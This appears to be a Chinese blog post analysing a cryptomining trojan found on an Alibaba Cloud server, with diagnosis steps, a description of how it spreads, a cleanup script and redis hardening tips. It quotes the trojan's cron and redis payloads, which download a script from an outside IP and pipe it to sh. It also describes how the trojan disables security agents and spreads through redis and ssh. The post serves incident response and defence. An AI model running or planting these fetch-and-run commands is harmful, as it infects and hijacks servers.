起因很多朋友都在使用阿里云,但遇到過阿里云被植入木馬的情況么?小編今天就遇到了。阿里云有自己的安全機(jī)制,一般情況下不會有什么問題,那木馬又是被怎么植入的呢?今天為您解析。
今天,同事說我負(fù)責(zé)的模塊在阿里云上不工作了,我趕忙遠(yuǎn)程登錄查看。
服務(wù)器的癥狀
1、敲命令的時候,終端的字符回傳很快,但是命令的響應(yīng)時間較長;
2、服務(wù)器內(nèi)存32GB,剩余200MB;
3、CPU跑到了99%;
4、我負(fù)責(zé)的模塊之前一直工作正常,穩(wěn)定性好,沒修改過配置,但現(xiàn)在不能工作;
5、查看我負(fù)責(zé)的模塊配置正常、運(yùn)行正常,但部分服務(wù)出錯;
6、top命令未發(fā)現(xiàn)有高耗CPU的進(jìn)程,但是有大量的kworkerds進(jìn)程。
定位分析
病癥1、3、6說明是阿里云服務(wù)器已經(jīng)產(chǎn)生了異常。
根據(jù)病癥4、5一步步梳理流程,核對日志,定位問題,最終發(fā)現(xiàn),redis可以正常提供服務(wù),但程序無法將數(shù)據(jù)刷新到redis,導(dǎo)致分別負(fù)責(zé)讀寫的兩個模塊數(shù)據(jù)長時間不能同步,重啟redis后服務(wù)正常。但問題需要進(jìn)一步分析。
查找木馬
服務(wù)器是與別人共用的,其他的服務(wù),我們不知道是否有用。但服務(wù)器卡頓,實(shí)在影響調(diào)試效率,搜索了一下kworkerds,才知道是個挖礦的木馬程序。
查看木馬進(jìn)程數(shù)
1[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
2385
kill掉所有木馬進(jìn)程
1[root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}'| xargs kill-9
查看開機(jī)啟動項和任務(wù)
1[root@XXX ~]# systemctl list-unit-files
2(沒發(fā)現(xiàn)問題,就不貼進(jìn)來了)
3[root@XXX ~] #cat /etc/rc.local
4(沒發(fā)現(xiàn)問題,就不貼進(jìn)來了)
5[root@XXX ~] #cat /etc/crontab
6...
701 * * * * root run-parts /etc/cron.hourly
802 4 * * * root run-parts /etc/cron.daily
90 1 * * * root /usr/ local/bin/DNS
10[root@XXX ~] #crontab -l
11*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
“/etc/crontab”里的內(nèi)容看起來好像是正常,但是“crontab -l”中顯示的內(nèi)容有些來路不明。
于是下載代碼查看
1[root@xxx ~] # (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
2(木馬的代碼我就不貼進(jìn)來了)
限于篇幅,木馬的代碼就不展示在此了,大家可以自行下載查看,記住,下載的時候要把"|sh"去掉,當(dāng)心玩火自焚。
分析木馬
木馬腳本寫得還是不錯的,風(fēng)格整齊,邏輯嚴(yán)謹(jǐn)。出色地完成了以下功能:
1、刪除阿里云云盾客戶端和阿里云監(jiān)控程序;
2、停止、刪除主機(jī)已經(jīng)存在的其他挖礦程序;
3、下載挖礦程序和配置文件并執(zhí)行;
4、約束木馬程序,防止觸發(fā)服務(wù)器性能監(jiān)測工具告警;
5、設(shè)置任務(wù)計劃,保持更新,持續(xù)感染主機(jī);
6、通過本機(jī)感染其他主機(jī);
7、清空操作日志,篡改文件修改時間,隱藏自己的訪問蹤跡。
木馬中同時用了shell和Python兩種腳本,腳本逐層嵌套,對于一些敏感的代碼,使用了base64進(jìn)行加密,針對不同的系統(tǒng)平臺有不同的處理,同時鎖定了自己修改的文件,防止被別的程序隨意修改,提供遠(yuǎn)程服務(wù)的IP地址來自非洲東部的塞舌爾共和國。
木馬是如何傳播的傳播方式
木馬傳播方式有三種,如下:
1、activeMQ
2、redis
3、ssh的免密碼登錄
傳播思路
木馬感染的步驟如下:
1、通過掃描"xxx.xxx.0.0/16"網(wǎng)段內(nèi)的所有IP的6379和8186兩個端口;
2、如果可以連接,那么以key-value的形式寫入數(shù)據(jù);
1'set SwE3SC "tn*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|shnt"
'
3、將該條數(shù)據(jù)以文件的形式保存到定時任務(wù)的文件目錄,如/var/spool/cron/root等;
4、下個定時周期到來時,服務(wù)器自動下載遠(yuǎn)程腳本并執(zhí)行;
5、遍歷該主機(jī)可以免密碼登錄的其他主機(jī),遠(yuǎn)程連接并執(zhí)行代碼。
遠(yuǎn)程腳本執(zhí)行時,會重新修改定時任務(wù)等文件,保證可以持續(xù)感染主機(jī),同時也隱藏了第一次感染的痕跡。之后每個定時周期到來時,都會重復(fù)4、5兩個步驟。
排查漏洞
服務(wù)器中沒有activeMQ,沒有.ssh文件夾。小編也根據(jù)代碼流程,感染了一下自己的redis,但是并沒有達(dá)到預(yù)期的結(jié)果。
本人用的redis文件保存的時候是二進(jìn)制的,不是字符串,根本無法被定時任務(wù)執(zhí)行,但是修改感染腳本,可以完成黑客設(shè)置的既定思路。
結(jié)合阿里云之前修改過密碼的情況,本次感染可能有兩種來源:
1、以前發(fā)現(xiàn)了被感染,但木馬沒有被清理干凈;
2、木馬作者會定期修改自己的代碼來感染不同版本的redis,甚至是去利用其它軟件的漏洞。
另外一個代碼變動的證據(jù)就是netstat命令的二進(jìn)制文件遭到篡改,這顯然是為了應(yīng)對運(yùn)維人員排查異常網(wǎng)絡(luò)連接而設(shè)計的,但本次檢查木馬代碼時,并沒有發(fā)現(xiàn)與netstat命令有關(guān)的操作。
清理木馬
清理過程分兩步:刪除木馬文件和修補(bǔ)當(dāng)前漏洞。
刪除木馬文件
根據(jù)木馬的代碼,寫了清理腳本,如下:
1#!/bin/bash
2ps auxf | grep -v grep | grep kworkerds | awk '{print $2}'| xargs kill-9
3
4chattr -i /usr/ local/bin/dns /etc/cron.d/root /etc/cron.d/Apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
5echo""> /usr/ local/bin/dns
6echo""> /etc/cron.d/root
7echo""> /etc/cron.d/apache
8echo""> /var/spool/cron/root
9echo""> /var/spool/cron/crontabs/root
10rm -rf /etc/cron.hourly/oanacroner
11rm -rf /etc/cron.daily/oanacroner
12rm -rf /etc/cron.monthly/oanacroner
13
14sed -i '/cron.hourly/d'/etc/crontab
15sed -i '/cron.daily/d'/etc/crontab
16sed -i '/usr/local/bin/dns/d'/etc/crontab
17
18#sed -i '$d' /etc/ld.so.preload
19rm -rf /usr/ local/lib/libntpd.so
20
21#/tmp/.a可以不刪,木馬是通過此文件判斷是否要卸載阿里云盾
22#rm -rf /tmp/.a
23rm -rf /bin/kworkerds
24rm -rf /tmp/kworkerds
25rm -rf /usr/sbin/kworkerds
26rm -rf /etc/init.d/kworker
27chkconfig --del kworker
腳本僅供大家參考,在執(zhí)行之前還是要對照一下具體的環(huán)境。
除此之外,還需要排查一下系統(tǒng)中是否有異常用戶,異常的服務(wù)和異常的監(jiān)聽端口。畢竟服務(wù)器被入侵過,絕不能等閑視之。
修補(bǔ)漏洞
以redis為例,修補(bǔ)漏洞有很多種方法:
1、限制端口,使其對外不可連接;
2、不要使用root運(yùn)行reids;
3、及時更新軟件,修補(bǔ)漏洞;
4、修改默認(rèn)端口;
6。對重要命令重命名;
。。。
關(guān)于這個問題,阿里云也有詳細(xì)的安全加固方案:
https://help.aliyun.com/knowledge_detail/37447.html
編者的話
黑客一詞聽起來感覺酷酷的,因為世界上確有一批崇尚用技術(shù)實(shí)現(xiàn)“開放、自由、真實(shí)、平等、美好生活”的人,他們離經(jīng)叛道,閃閃發(fā)光。然而,通常情況下非法獲取利益的黑客僅僅是一個小偷而已,喜歡的是不勞而獲,而不是技術(shù)本身,技術(shù)水平也只能是一般。
希望大家從技術(shù)交流,防范風(fēng)險的角度看待文中提供的木馬資料,不要走上違法犯罪的道路。從另一個角度講,信息安全無小事,文中的木馬僅僅是挖礦,事實(shí)上,該漏洞足以讓黑客在你的服務(wù)器上做任何事,大家萬萬不可掉以輕心。